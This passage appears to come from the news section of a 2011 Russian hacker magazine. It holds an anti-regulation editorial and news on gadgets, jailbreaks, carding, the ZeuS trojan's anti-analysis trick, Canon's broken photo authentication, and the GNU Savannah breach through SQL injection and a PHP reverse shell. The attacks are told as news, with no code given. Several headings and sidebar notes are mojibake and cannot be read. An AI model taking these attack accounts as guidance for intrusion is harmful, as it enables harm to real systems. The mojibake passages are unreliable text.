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В последнее время часто думаю о том, что чем меньше 
контроля и регулирования со стороны государства 
— тем лучше простым людям жить, тем эффективней 
складывается экономика. Любая бюрократия, 
нормативные акты, ограничения и прочая хренота 
плодят целую армию дармоедов-регуляторов, которые 
ничего не производят и заинтересованы лишь в 
одном — в дальнейшем усложнении процедур, чтобы 
больше получать денег, плодить коррупцию и чтобы без 
«работы» ни в коем случае не остаться.

Если смотреть на Россию: самая эффективная, 
удобная людям, быстрорастущая и перспективная 
отрасль экономики — это IT и интернет. Отрасль с 
минимальным влиянием государства. 15 лет назад еще 
не было Яндекса — но вот талантливые люди пришли и 
построили с нуля супер-бизнес, компанию с оборотом 
300 млн. долл. Что уж говорить про огромный фриланс-
рынок и кучу успешных стартапов, запущенных по 
всему миру русскоязычными людьми.

В интернете все мы привыкли к тому, что это мир 
без ограничений. Любые вещи, начиная с обучения 
и заканчивая созданием бизнеса, здесь делаются 
инстант, без любого взаимодействия с дармоедами-
чиновниками. Очень забавно при всем этом наблюдать 
нелепые попытки «регулирования» интернета, которые 
возникают в самых разных странах мира. Чиновники 
и политики видят в инете реальную угрозу для себя: 

во-первых, здесь они сталкиваются с адекватной, 
немодерируемой общественной оценкой своей 
деятельности, а во-вторых, они здесь не очень-то и 
нужны. Для них это странно, непонятно. Все, к чему 
они привыкли, здесь не работает. Добавь сюда полное 
непонимание принципов  интернета — и ты получишь 
явную причину для того вороха дебильных законов, 
инициатив и конфликтов, которые время от времени 
всплывают в самых разных странах.

Ограничение работы Skype, разнообразная копирастия, 
«михалковский» налог, национальные файрволы, 
закрытие торрент-трекеров, фильтрация p2p-трафика, 
взымание налога за использование opensource, из 
пальца высосанные  уголовные дела, признание YouTube 
экстремистским сайтом из-за одного ролика.

Все это — проявления того, как  отставшие от жизни 
чиновники, судьи и милиционеры воспринимают 
интернет. Своей «регулировкой» они пытаются 
противостоять развитию и эволюции  человечества, 
но в силу своей некомпетентности не понимают 
элементарного: все их усилия обречены на провал 
просто с базовой, с технической точки зрения.

Именно поэтому я спокоен: TOR, VPN, SSL и DHT спасут 
мир :).

nikitozz, гл. ред Х
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Ìîùíîñòü DDoS-àòàêè íà ñàéò Wikileaks ïðåâûøàëà 10 Ãáèò/ñ. Òåïåðü 
â ñïèñêå îôèöèàëüíûõ çåðêàë ðåñóðñà íàñ÷èòûâàåòñÿ 208 ñàéòîâ :). 

В Праге, в ходе конференции CONFidence 2.0, известный хакер, криптограф и сотрудник 
компании Elcomsoft Дмитрий Скляров представил новый доклад-бомбу. Дмитрий пове-
дал слушателям о том, как ему удалось найти уязвимость и «вскрыть» алгоритм проверки 
подлинности фотографий Canon Original Data Security. Интересно, что Скляров пытался 
заблаговременно связаться с представителями Canon и сообщить им о дырке, но его 
попросту проигнорировали. В итоге система проверки подлинности фотографий полно-
стью дискредитирована. Это очень серьезный инцидент, поскольку систему использо-
вали и криминалисты, и юристы со всего мира. Фотографии проверяются по цифровой 
подписи Original Decision Data (ODD), которая располагается в блоке EXIF JPG -файлов 
и хранит в себе информацию о дате и месте съемки. Для проверки использовался 
дорогостоящий набор инструментов OSK-E3 (Canon Original Data Security Kit), состоящий 
из смарт-карты и специального софта. Набор позволяет узнать, была ли фотография от-
ретуширована и модифицировались ли значения вроде даты съемки или координат GPS. 
Скляров обнаружил в алгоритме Canon брешь, которая позволяет подделать подпись 
и выдать модифицированное фото за оригинал. В доказательство взлома криптограф 
показал публике откровенные фотожабы (вроде Сталина с iPhone в руках), чья цифровая 
подпись сообщала, что «все в порядке». Проблема, найденная Скляровым, аппаратная. 
Трюк с подделкой подписи сработает для многих профессиональных моделей Canon, в 
том числе EOS 5D Mark II. Вся информация о найденной уязвимости была опубликована в 
отрытом доступе (elcomsoft.com/canon.html?r1=pr&r2=canon). Сам Скляров посоветовал 
любимому производителю фотоаппаратов нанимать для разработки таких систем людей, 
которые действительно понимают толк в ИБ.

ÂÒÎÐÎÉ «ÃÓÃËÎÔÎÍ» ÂÛÏÓÙÅÍ
Состоялось то, чего ждали очень многие: компания 
Google выпустила свой второй смартфон Nexus S 
с ОС Google Android 2.3 на борту. Правда, изгото-
вителем в этот раз является не HTC, а Samsung. 
Прообразом нового Нексуса стала известная модель 
Galaxy S. Смартфон базируется на платформе 
Samsung Hummingbird, включающей в себя про-
цессор Cortex A8 с частотой 1 ГГц, 512 МБ оператив-
ной и 16 ГБ флеш-памяти для хранения данных. На 
Nexus S установлен 4-дюймовый (480x800) Super 
AMOLED дисплей с сенсорной панелью емкостного 
типа и покрытием, препятствующим появлению 
отпечатков пальцев. Интересно, что он имеет изог-
нутую форму внешней поверхности — в результате 
получается так называемая «лодка». Телефон будет 
выпускаться для различнных стандартов сотовой 
связи, а также имеет модули для всех беспроводных 
технологий: Wi-Fi 802.11 n/b/g, Bluetooth 2.1+EDR 
и даже Near Field Communication (NFC). Помимо 

этого, смартфон укомплектован A-GPS, трехосным 
гироскопом, акселерометром, цифровым компасом, 
датчиками близости и освещенности. Основная 
5-мегапиксельная камера Nexus S умеет запи-
сывать видео с разрешением 720x480, оснащена 
системой автофокусировки и вспышкой. А вспомо-
гательный «глазок» (640x480 пикселей), располо-
женный на передней панели смартфона, пригодится 
для видео-звонков. Если верить производителю, 
аккумулятор с емкостью 1500 мАч обеспечит около 
7 часов работы в режиме разговора, а в режиме ожи-
дания его должно хватить почти на 18 дней! Телефон 
выглядит сбалансированным во всех отношениях. 
Огорчает лишь тот факт, что в России Nexus S будет 
комплектоваться более скромным Super clear LCD-
дисплеем. Ожидаемая стоимость цены в России 
— немногим дороже Galaxy S, то есть порядка 20-25 
тысяч рублей. Хотя в Штатах смартфон можно будет 
приобрести всего за $529 (цена без контракта).

ÍÎÂÛÉ ÃÐÎÌÊÈÉ ÂÇËÎÌ ÎÒ ÑÊËßÐÎÂÀ
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Циркулирующие по Сети слухи нашли неожиданное подтверждение: 
Playstation Phone оказался не выдумкой, а совершенно реальным уст-
ройством, которое скоро выйдет в свет. Гибрид консоли PSP Go с Android-
смартфоном пока носит рабочее название Zeus Z1, а его разработкой 
занимается компания Sony Ericsson. Официальный анонс устройства, по-
хоже, состоится в феврале-марте текущего года, ну а пока нам приходится 
довольствоваться неофициальной инфой. Судя по всему, у известной 
серии игровых телефонов Nokia N-Gage появится достойный преемник 
:). Устройство будет выполнено в виде слайдера, но место выезжающей 
клавиатуры займет фактически передняя панель джойстика — с похо-
жими игровыми кнопками для управления. На задней панели девайса 
расположатся обычные для манипуляторов Sony «шифты». По Сети пока 
распространяются фотографии и характеристики прототипа, и все еще 
может поменяться, но предварительные данные таковы: габариты Zeus 
Z1 аналогичны PSP Go, девайс будет оснащен дисплеем диагональю 3.7», 
процессором с частотой 1 ГГц, 512 МБ оперативной памяти, microSD-сло-
том, а также 5-мегапиксельной фотокамерой. Ожидается, что официально 
разработку представят публике весной, в ходе конференции Cebit 2011.

Не успело утихнуть обсуждение новой мобиль-
ной платформы от Microsoft, как хакеры по 
всему миру принялись ломать новинку. Успеха 
удалось добиться команде ChevronWP7, о чем 
парни сообщили в своем официальном блоге 
(chevronwp7.com). Хакеры не были голословны, 
когда заявили о том, что сумели получить полный 
доступ к WP7 и возможность устанавливать на ус-
тройство любые приложения в обход «Маркета». 
Рабочая утилита для джейлбрейка, выложенная 
на сайте, оказалась лучшим подтверждением их 
слов. Разблокировав защиту системы, каждый 
получает возможность не только ставить любой 
софт, но и разрабатывать приложения для этой 
платформы, не покупая у Microsoft специальный 

аккаунт Windows Phone 7 Marketplace за $99, без 
которого проверить работоспособность прило-
жения на реальном железе невозможно. Тулза от 
ChevronWP7 эту проблему решила бесплатно.
Но не спеши набирать в браузере приведенную 
ссылку — проги для джейлбрейка ты там уже не 
найдешь. Почти сразу после релиза с командой 
связался глава отдела по разработке прило-
жений для Windows Phone 7 Брендон Уотсон. 
Он сумел прийти к соглашению с хакерами, и 
одним из условий этой договоренности стало 
немедленное удаление утилиты из Сети. Детали 
«сделки», разумеется, не разглашаются. Конеч-
но, разработка ChevronWP7, невзирая на эти 
меры, успела разлететься по Сети, но и здесь все 

не так уж радужно. Теперь прога для джейл-
брейка отказывается работать из-за отсутствия 
сертификата. Получается, что, хотя пальма 
первенства формально и отошла к парням из 
ChevronWP7, нормального джейлбрейка придет-
ся еще подождать. 

PLAYSTATION PHONE — ÍÅ ÓÒÊÀ

ÄÆÅÉËÁÐÅÉÊ ÄËß WINDOWS PHONE 7 

Â ÂÅËÈÊÎÁÐÈÒÀÍÈÈ ÏÎÉÌÀËÈ 
ÊÀÐÄÅÐÎÂ-ÌÓÇÛÊÀÍÒÎÂ
Необычная история произошла недавно в англий-
ском городе Вулвергемптоне. Местная полиция 
задержала 19-летнего Ламара Джонсона — члена 
кардерской группировки из двенадцати человек. 
Эти предприимчивые ребята использовали старую 
схему «зарабатывания» денег, известную еще со 
времен покупки собственной шароварной проги 
чужими кредитками. Джонсон и его товарищи раз-
местили в iTunes и Amazon свои музыкальные тре-

ки и принялись сами их скачивать, расплачиваясь 
деньгами с ворованных банковских карт. Накачать 
они успели немало. В период с 2008 по 2009 год 
песни были скачаны более 6.000 раз, и Джонсон 
признает свое отношение к 2.000 загрузок. Таким 
образом он успел «заработать» почти 500.000 
фунтов (около $750.000) авторских отчислений. С 
продажи одного трека эти «криминальные гении» 
получали около 80 фунтов, в то время как средняя 

стоимость песни в iTunes составляет 99 пенсов. 
В конце декабря местный суд признал Ламара 
Джонсона, который и так уже отбывает пятилетний 
тюремный срок за нанесение тяжелых телесных 
повреждений, виновным. Суд над остальными 
одиннадцатью членами группы состоится в конце 
января. 

Ê 2015 ãîäó êîìïàíèè Intel, AMD, Dell, Lenovo, Samsung è LG îòêàæóòñÿ 
îò èñïîëüçîâàíèÿ â ñâîèõ ïðîäóêòàõ àíàëîãîâûõ âèäåîèíòåðôåéñîâ VGA 
è LVDS. Èõ çàìåíÿò HDMI è DisplayPort.
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С 16 по 19 января в США (штат Вирджиния) пройдет ежегодная конфе-
ренция «BlackHat DC». Этот ивент является самым значимым между-
народным событием в мире информационной безопасности, в рамках 
которого постоянно презентуются самые новые техники взлома и 
защиты. Конференция, впервые состоявшаяся в 1997 году, проходит 4 
раза в год и собирает более десяти тысяч посетителей, среди которых 
есть как хардкорные специалисты по взлому, так и «люди в костюмах»: 
руководители отделов безопасности крупнейших мировых компаний и 
сотрудники американских ведомств. Но это не главное. В этом году од-
ним из докладчиков будет Александр Поляков, технический директор 
компании Digital Security и руководитель исследовательского центра 
DSECRG, а также один из постоянных авторов ][. И это настоящий 
прорыв. Для справки: ранее на этой конференции не было ни одного 
докладчика, представляющего российский рынок консалтинга по ИБ. 
И мы очень рады, что Саша наконец-то покажет всему миру: в России 
живут не только хакеры-криминалы, но и профессионалы в области 

информационной безопасности, способные проводить исследования 
мирового уровня. Тут надо сказать, что само событие неслучайно. Это 
следствие долгой работы DSECRG в области исследования безопас-
ности бизнес-приложений. Перед BlackHat’ом был ряд выступлений 
на не менее значимых европейских и азиатских конференциях: Hack 
In The Box, Source Barcelona, DEEPSEC, Confidence, Troopers. Теперь 
пришла очередь США :). Доклад полностью посвящен бизнес-прило-
жениям корпоративного уровня: будет рассказано о том, как злоумыш-
ленники могут получить доступ ко всем критичным данным компании, 
украсть деньги или разрушить технологическую сеть предприятия, 
используя простейшие уязвимости и ошибки в архитектуре. В качес-
тве примера будут рассмотрены популярные в России и во всем мире 
ERP-системы. Отчет об этой грандиозной конференции из первых 
уст ты сможешь прочитать в ближайших номерах журнала, а краткое 
описание доклада посмотреть на blackhat.com/html/bh-dc-11/bh-dc-11-
briefings.html#Smith.

Wired ñîîáùàåò, ÷òî îäíèì èç ñàìûõ õîäîâûõ òîâàðîâ íà eBay 
ÿâëÿþòñÿ... àâòîìîáèëè. Çà íåäåëþ îäíè òîëüêî àìåðèêàíöû ïîêóïàþò 

íà eBay àâòî è çàï÷àñòåé ê íèì íà ñóììó îêîëî $8 ìëí.

ÐÎÑÑÈß ÍÀ BLACKHAT

ÐÓ×ÊÀ ØÏÈÎÍÀ ÈËÈ 
ÓÄÎÁÍÛÉ ÃÀÄÆÅÒ?

XÀÊÅÐ  02  (145)  2011

Чего только не придумало человечество — и ручки 
с исчезающими чернилами, и ручки со встроенны-
ми видеокамерами, и даже ручки, которыми можно 
одинаково успешно писать как на бумаге, так и на 
планшете. Устройство от компании Apen — E FUN 
APEN A2 — пошло еще дальше. С виду гаджет ничем 
не отличается от обычной ручки и прекрасно пишет на 
бумаге. Однако в комплекте с девайсом идет мини-
атюрный беспроводной приемник, который крепится к 
бумаге и на лету оцифровывает все сделанные ручкой 
изображения и записи. Памяти устройства хватает 
в среднем на 100 страниц. Новинка работает как с 
Windows, так и с Mac. Кроме того, чудо-ручку можно 
просто подключить к компьютеру и писать с ее помо-
щью на изображениях, документах Microsoft Office 
или сообщениях Outlook. Стоимость этого отличного 
гаджета — $100. 
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Фонду свободного программного обеспечения (Free Software Foundation), 
похоже, пора пересмотреть свой подход к сетевой безопасности. 
Неизвестные хакеры недавно провели успешную атаку на репозиторий 
FSF GNU Savannah (savannah.gnu.org). Злоумышленники воспользова-
лись дыркой в открытом ПО для хостинга Savane, успешно осуществили 
SQL-инъекцию и в результате полностью слили MySQL-базу с именами 
пользователей и хэшированными паролями. Успешно сбрутив хэш пасса 
одного из админов, взломщики сумели добавить скрытый статичный 
html-файл в CVS-репозитарий, который изменил вид главной страни-
цы gnu.org. Впрочем, на дефейсе ребята останавливаться не собира-
лись: ими тут же был установлен php-скрипт реверс-шелла (по иронии 
распространяющийся по лицензии GNU GPL) и предприняты попытки 
внедрения руткитов. По словам представителей FSF, последнее вроде бы 
не увенчалось успехом, но полной уверенности в этом нет (это не стеб, а 
официальная формулировка). Для восстановления работы и Savannah, и 
GNU пришлось полностью изолировать от Сети. После случившегося все 
пароли на GNU Savannah были объявлены ненадежными. Теперь для хра-
нения паролей будет использоваться Crypt-MD5. Также сообщается, что 
исходные коды, размещенные в репозитории, в ходе атаки не пострадали, 
однако, опять же, «полной уверенности в этом нет».

Мы давно не писали о The Pirate Bay, а между тем апелляционные слу-
шания по делу команды трекера, наконец, закончились, и был оглашен 
официальный вердикт. Увы, суд Швеции постановил, что все трое 
основателей «Пиратской бухты» виновны, и увеличил им размер штрафа 
(правда, сократив при этом тюремные сроки). Таким образом, Фредрик 

Нейдж должен отсидеть за решеткой десять месяцев, Питер Сунде — 
восемь, а Карл Лундстрем — четыре месяца. Размер штрафа, который 
теперь должна выплатить троица, суммарно составляет $6.5 млн. 
Четвертый фигурант, Готфрид Свартхольм, не включен в решение суда, 
так как он отсутствовал на слушаниях по состоянию здоровья. Несмотря 
на такие невеселые новости, «пираты», как обычно, не унывают. Питер 
Сунде недавно написал у себя в твиттере, что пора бы сторонникам 
свободы информации подумать о создании собственного интернета. На 
деле речь идет о независимой системе DNS, построенной на принци-
пах p2p. Идея заключается в том, чтобы система не контролировалась 
нынешним регулятором Всемирной сети ICANN. И это не просто слова 
— похоже, у проекта уже имеются квалифицированные программисты, 
сетевые инженеры и специалисты по коммуникациям. Обсуждение идеи 
протекает на IRC-канале dns-p2p в сети Efnet, а свежая информация 
собирается по адресу dot-p2p.org. Тем не менее Питер Сунде честно 
заявляет, что не дает никаких гарантий реализации замысла, так как 
имеется и множество сложностей. К примеру, ICANN отвечает не только 
за домены, но и за IP-адреса. Однако попытаться активисты все равно 
намерены, поскольку наличие централизованной системы, которая 
управляет информацией в Сети, по их мнению — неприемлемо.

Ïî äàííûì êîìïàíèè AdaptiveMobile, çà 2010 ãîä êîëè÷åñòâî àòàê, 
íàïðàâëåííûõ íà Android-ñìàðòôîíû, âûðîñëî â 4 ðàçà, çàòî iPhone 

ñòàëè àòàêîâàòü â 2 ðàçà ðåæå. 

Æóðíàë Time íàçâàë îñíîâàòåëÿ ñîöèàëüíîé ñåòè Facebook Ìàðêà 
Öóêåðáåðãà ÷åëîâåêîì ãîäà. Çàìåòèì, ÷òî â ÷èòàòåëüñêîì ãîëîñîâàíèè 

íà ñàéòå ñ áîëüøèì îòðûâîì ëèäèðîâàë Äæóëèàí Àññàíäæ — çà íåãî îòäàëè 
382 000 ãîëîñîâ. 

ÍÅÏÐÈßÒÍÎÑÒÈ Ó ÁÎÐÖÎÂ ÇÀ ÑÂÎÁÎÄÍÎÅ ÏÎ

ÂÅÑÒÈ ÈÇ «ÏÈÐÀÒÑÊÎÉ ÁÓÕÒÛ»
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3D ÁÅÇ Î×ÊÎÂ
Различными 3D-новинками, казалось бы, уже пресытились все. Ими 
уже никого не удивишь. Но погоди переходить к чтению следующей 
новости — японская компания EIZO скоро выпустит действительно не-
обычный 3D-монитор. С DuraVision FDF2301-3D тебе не понадобится 
ни активных, ни пассивных очков — стерео-изображение будет видно, 
что называется, невооруженным глазом, причем видно хорошо. И 
пусть тебя не пугает тяжеловатый дизайн этого 23-дюймового чуда. 
В конце концов, это первый в мире монитор с Full HD разрешением 
(1920x1080), способный сформировать стерео-картинку, для про-
смотра которой не нужны очки. Кстати, монитор будет тяжел и в самом 
прямом смысле: почти 16 килограммов чистого веса :). Да, некоторые 
читатели сейчас заметят, что «безочковая» 3D-технология не нова и 
к тому же имеет множество недостатков. Спешим успокоить: в новом 
детище EIZO использован принцип направленной подсветки и алго-
ритм задержек во времени (а не параллакс-барьер и не лентикулярные 
линзы, как в случае других производителей). То есть, изображение, 
предназначенное для левого и правого глаз, появляется на экране 
поочередно, используя одни и те же пиксели на экране. Благодаря этой 
особенности, муара и цветных полос, характерных для «безочкового» 
3D, на дисплее не наблюдается. Новинка будет укомплектована двумя 

разъемами DVI-D и портом VESA Stereo Sync, а также будет иметь не-
сколько режимов настройки объемного изображения — в зависимости 
от условий просмотра и количества зрителей. Посмотреть на монитор 
своими глазами можно будет совсем скоро: EIZO планирует выпустить 
новинку в продажу уже во втором квартале текущего года. Цена девай-
са пока не объявлена.

Новые сводки о ходе борьбы с трояном ZeuS 
поступают ежедневно, но далеко не всегда ока-
зываются забавными. Специалисты из F-Secure 
обнаружили, что одна из новых модификаций 
зловреда работает исключительно на высокопро-
изводительных компьютерах. Если частота CPU 
оказывается меньше 2 ГГц, вирус ведет себя так, 
как если бы обнаружил отладку, а именно — пре-
рывает свое выполнение и не заражает систему. 
Так, ноутбуки аналитиков IBM T42 (с частой 1.86 
ГГц) оказались слишком медленными, чтобы трой 

заразил систему :). Не совсем понятно, являлось 
ли конечной целью создание ботнета премиум-
класса (например, для распределенного брут-
форса) или это просто была очередная попытка 
усложнить анализ малвари.
Всем хорошо известно, что любая антивирусная 
лаборатория ежедневно исследует десятки 
подозрительных бинарников. Единственная 
возможность справиться с таким потоком файлов 
— автоматизировать процесс анализа. Каждый 
образец сначала сканируется, выполняется и 

анализируется внутри виртуального окруже-
ния. Разработчики малвари, в свою очередь, 
пытаются максимально усложнить анализ тел 
вирусов, встраивая в них различные приемы для 
антиотладки и обнаружения виртуальных машин. 
Так что есть шанс, что отсеивание компьютеров 
с частотой, меньшей двух ГГц является изощ-
ренным способом уйти от анализа. По крайней 
мере, внутри виртуального окружения (у которого 
скромные технические характеристики) зараже-
ния точно не произойдет.

ÏÐÈÂÅÐÅÄËÈÂÛÉ ÒÐÎßÍÅÖ

460 õàêåðîâ áûëî àðåñòîâàíî çà 2010 ãîä â Ïîäíåáåñíîé, åñëè âåðèòü 
äîêëàäó, êîòîðûé íåäàâíî ïðåäñòàâèëè âëàñòè Êèòàÿ.

Сколько раз все мы видели в кино различные девайсы, использующие в работе 
так называемую «дополненную реальность». Все эти фишки, которые мы при-
выкли видеть на экранах кинотеатров и на страницах фантастических романов, 
с каждым днем становятся все ближе к реальности. Приложение Word Lens для 
iPhone — очень яркий пример такой фантастики, шагнувшей в жизнь. Програм-
ма предназначена для перевода картинок и знаков с использованием допол-
ненной реальности. Принцип ее работы прост: наводишь камеру iPhone’а на 
интересующий тебя текст (допустим, объявление на двери магазина), и прило-
жение на лету перерисовывает картинку на экране телефона так, чтобы на ней 
отображался уже переведенный текст. Без задержек, полностью в реальном 
времени! Чтобы оценить, насколько это круто, стоит посмотреть видеоролик на 
сайте questvisual.com. Самое же поразительное, что это не концепт, не бета, а 
работающая прога, которая уже доступна в iTunes по цене $4.99. Единственная 
ложка дегтя в этой бочке меда пока заключается в том, что Word Lens понимает 
только англо-испанское и испано-английское направления перевода. Мы бы 
назвали это «но» незначительным, так как в скором времени авторы обещают 
расширить функционал приложения, добавив и другие языки.
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Приятная новость для всех, кто ценит 
качество изображения, пришла из стана 
компании Samsung. Недавно производитель 
продемонстрировал дисплеи, построенные 
на новой технологии Super PLS (Plane to 
Line Switching), которая по ряду параметров 
превосходит хорошо зарекомендовавшую 
себя матрицу IPS. В Samsung рассказали, 
что ими было подано более тридцати заявок 
на регистрацию патентов, связанных с Super 
PLS. Благодаря новой технологии, ориенти-
рованной на использование в смартфонах 

и планшетных ПК, специалистам Samsung 
Mobile Display удалось увеличить яркость 
дисплеев на 10% и существенно расширить 
углы обзора. SPLS-дисплеи на данный 
момент могут иметь разрешение вплоть до 
WXGA (1366х768 пикселей). Не менее важно и 
то, что в производстве технология Super PLS 
будет на 15% дешевле IPS. Серийный выпуск 
новых панелей стартует в начале текущего 
года, так что вполне вероятно, что флагманы 
с новыми дисплеями на борту появятся уже к 
концу 2011-го. 

ÊÎÅ-×ÒÎ ÏÎÊÐÓ×Å IPS-ÌÀÒÐÈÖ

Èññëåäîâàíèå êîìïàíèè Avira ïîêàçàëî, ÷òî èç 9000 îïðîøåííûõ 
ïîëüçîâàòåëåé 25% õîòÿ áû ðàç îòêëþ÷àëè àíòèâèðóñ, ÷òîáû çàñòàâèòü 

êîìïüþòåð ðàáîòàòü áûñòðåå.

Â íîâîé âåðñèè Google Chrome áûëî èñïðàâëåíî áîëåå 800 îøèáîê 
è çàêðûòî 13 óÿçâèìîñòåé, 4 èç êîòîðûõ áûëè êðèòè÷åñêèìè. 

Â ðàìêàõ ýòîãî îáíîâëåíèÿ Google ïîòðàòèë $4000 íà âîçíàãðàæäåíèÿ 
çà îáíàðóæåííûå äûðêè.

Довольно неприятные новости сообщила через 
свой официальный блог компания Google. Похоже, 
«Корпорация Добра» все больше поддается влиянию 
правообладателей и антипиратских организаций. В 
скором будущем из списка автозаполнения исчезнут 
различные «пиратские» слова. Хотя Google и не при-
водит никаких конкретных примеров и признает, что 
будет сложно определить, какие термины относятся к 
«пиратским», можно предположить, что первым делом 
нововведение коснется словесных конструкций вроде 
«скачать бесплатно» и «смотреть онлайн». Более того, 
в результатах поиска рядом со ссылками на неблагона-
дежные ресурсы в скором времени начнут появляться 
предупреждения вида «Контент, размещенный на 
сайте, защищен авторским правом и используется 
без ведома правообладателя». Сайты такого рода 
будут располагаться в результатах поиска ниже своих 
«правильных» собратьев. Демократия и свобода слова 
как они есть. Однако копирасты, представь себе, все 
равно недовольны. По их мнению, Google по-прежнему 
игнорирует суть проблемы, которая заключается в том, 
что поисковик «собственными руками» переправляет 
потребителей на пиратские ресурсы. Очевидно, для 
полного душевного спокойствия антипиратов «Гугл» 
должен блокировать все подозрительные ресурсы и 
делать вид, что их вообще не существует.

GOOGLE ÁÎÐÅÒÑß 
Ñ ÏÈÐÀÒÀÌÈ

Если ты смотрел фильм «Социальная 
сеть», то должен был оценить, как для 
Facebook’а набирали программистов. И 
вот теперь — реальный конкурс: проект 
Цукерберга объявил об учреждении 
ежегодного конкурса по алгоритмичес-
кому программированию для хакеров 
со всего мира. Когда ты будешь читать 
эту заметку, первый кубок Hacker Cup 
2011 (facebook.com/hackercup) скорее 
всего, к сожалению, уже завершится. 
Регистрация на соревнование была 
открыта с 20 декабря по 10 января (сам 
конкурс проходит в онлайне). Состяза-
ние поделили на три этапа. Первым был 
квалификационный раунд. Участникам 
предложили три задачи, и чтобы пройти 
в следующий раунд, необходимо было в 
течение 72 часов решить хотя бы одну из 
них. Те, кто справился с заданием, были 
допущены до следующих этапов. 
В ходе финала должны определиться 300 лучших хакеров (они получат официальные фут-
болки Hacker Cup) и 25 самых лучших. Последние могут рассчитывать на призы посерьезнее 
маек: $5000 за первое место, $2000 за второе, $1000 за третье и по $100 за места с 4-го по 
25-е. Суммы, конечно, не заоблачные, но к ним прилагаются билеты в Калифорнию и прожи-
вание в кампусе Facebook в Пало-Альто.
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Устройство с мрачноватым названием Killer 
HD 5770 выпустила в свет компания VisionTek. 
Эта PCI Express карточка в первую очередь 
ориентирована на поклонников онлайновых 
игр, а эти ребята, как известно, не особенно 
требовательны к графике, но очень щепитильно 
относятся к сетевому пингу, то есть задерж-
ке при обращении к серверу. Стабильное и 
быстрое соединение с интернетом — главное. 
В VisionTek решили подойти к этому вопросу 
нетривиальным методом и интегрировали пря-
мо в видюху сетевой адаптер Bigfoot Networks 
Killer E2100. Это доработанная версия девайса 

Killer 2100 — сетевой карты, оптимизированной 
специально для онлайновых игрищ. Впрочем, 
и графический процессор здесь использован 
не из самых слабых: AMD Radeon HD 5770 
поддерживает DirectX 11, предусматривает 
возможность подключения нескольких монито-
ров и вывод многоканального (7.1) звука через 
интерфейс HDMI. Цена устройства за океаном 
составляет примерно $200. Кстати, это далеко 
не единственный пример такого нецелевого 
использования шины PCI-E. В продаже также 
можно найти, например, PCI-E SSD-накопи-
тели. Ширина пропускания PCI-E позволяет 

выжать максимум от использования SSD-нако-
пителей. Скорость передачи данных на чтение 
у таких девайсов часто составляет порядка 750 
Мб/c, а на запись — 700 Мб/с и выше!

MEGANEWS
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YouTube ñíîâà ïîäíèìàåò ïëàíêó ìàêñèìàëüíîé äëèíû âèäåîðîëèêîâ. 
Îòíûíå þçåðû, íè ðàçó íå íàðóøàâøèå ïðàâèëà ñåðâèñà, èìåþò 

âîçìîæíîñòü çàãðóæàòü íà YouTube ðîëèêè äëèòåëüíîñòüþ áîëåå 15 ìèíóò. 

В ноябре в Санкт-Петербурге (а также в 
Барнауле, Тбилиси и Ташкенте) состоялся 
полуфинал командного чемпионата мира 
по программированию (ACM ICPC) в Севе-
ро-Восточном Европейском регионе. ACM 
ICPC — это крупнейшая в мире студенческая 
командная олимпиада по программированию. 
Крупные компании каждый год внимательно 
следят за чемпионатом и присматривают 
будущие кадры, понимая, что главный ресурс 

IT-индустрии — это, безусловно, мозги. 
Россия впервые получила право на органи-
зацию полуфинальной Северо-Восточной 
Европейской группы в сезоне 1996-1997, и с 
тех пор команды наших вузов не раз завоевы-
вали на чемпионате призовые места. В этом 
году в четвертьфинальных и полуфинальных 
соревнованиях приняли участие 720 команд 
из 260 вузов России и стран ближнего зару-
бежья (Эстонии, Узбекистана, Литвы, Грузии, 
Белоруссии и других).
В ходе полуфинала определяются команды, 
которые поедут отстаивать честь своего вуза, 
страны и региональной группы в финале. 
Правила чемпионата таковы: в каждой коман-
де три человека и на троих один компьютер. 
Командам дается пять часов времени и от 
восьми до двенадцати задач. Заметим, что 
от уровня сложности этих задач у любого 
программиста средней руки попросту вскипит 
мозг :). Побеждает та команда, которая решит 
наибольшее число задач, затратив на это 
наименьшее количество времени. Решения 
участники пишут на C, C++ или Java и отправ-

ляют на тестирующий сервер. Какие именно 
тесты там крутятся, участники не знают, а 
задачу недостаточно просто решить правиль-
но — нужно еще уложиться в определенные 
ограничения по времени, памяти и так далее. 
Каждая неудачная попытка решения — плюс 
двадцать минут к штрафному времени коман-
ды (которое изначально равняется нулю).
В этом году места в полуфинале распредели-
лись следующим образом: первое место вполне 
предсказуемо досталось команде СПбГУ ИТМО 
(команды этого университета побеждали в 
финале ACM ICPC трижды, а звание чемпио-
нов России завоевывали пять раз); второе и 
третье места остались за командами МГУ (что 
тоже не удивительно — МГУ давно «дышит в 
спину» своим петербуржским коллегам). Всего 
на финал ICPC 2010-2011, который пройдет 
в начале марта в Египте, от NEERC поедут 13 
команд. Узнать подробности, ознакомиться с 
задачами и другой информацией ты можешь 
на официальном сайте чемпионата: icpc.baylor.
edu. Интересно, будут ли участники решать там 
задачи по обнаружению акул?

ÑÎÑÒÎßËÑß ÐÅÃÈÎÍÀËÜÍÛÉ ÏÎËÓÔÈÍÀË ACM ICPC

ÑÂÅÐÕÑÊÎÐÎÑÒÍÀß ÔËÅØÊÀ
Новая серия флешек от компании Patriot Memory 
и так была бы быстрой — устройства, получившие 
имя Supersonic, работают с новым интерфейсом 
USB 3.0. Но в Patriot решили пойти дальше и 
сделать свои новинки очень быстрыми. Скорость 
записи и чтения этих девайсов составит 70 и 100 
МБ/с соответственно (против обычных 60 и 80 

МБ/с). Добиться таких показателей разработчи-
кам Patriot удалось путем внесения некоторых 
изменений в привычную конструкцию флешек. 
Из обычной последовательности «флеш-память 

 контроллер флеш-памяти  мост  контрол-
лер USB» был исключен мост, а контроллеры 
памяти и интерфейса USB 3.0 разместились на 

одной микросхеме. Благодаря этим особеннос-
тям удалось уменьшить и размер устройств. Обе 
новинки, емкость которых составляет 32 и 64 ГБ, 
щеголяют прочными алюминиевыми корпусами. 
Цена девайсов, к сожалению, пока неизвестна, 
но продажи должны начаться совсем скоро — в 
первом квартале 2011.

ÍÅÏÐÎÑÒÀß ÂÈÄÅÎÊÀÐÒÀ ÎÒ VISIONTEK
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В официальном блоге Facebook появился интересный анонс, обещающий, что социальная сеть в скором 
времени научится автоматически распознавать лица пользователей на фотоснимках. Как это будет выглядеть? 
После загрузки фото Facebook автоматически выделит на снимках лица людей. Чтобы «узнать» их, система 
просканирует в поисках соответствий все фотографии и аватары друзей пользователя. При этом Facebook будет 
опираться на уже проставленные к снимкам теги: если человек отмечен на большом количестве фото, «узнать» 
его будет значительно проще. Завершив поиски, Facebook покажет пользователю результаты проделанной 
работы. Решение, кого отмечать на фото, а кого нет, будет принимать сам юзер. Предвидя, что многим это но-
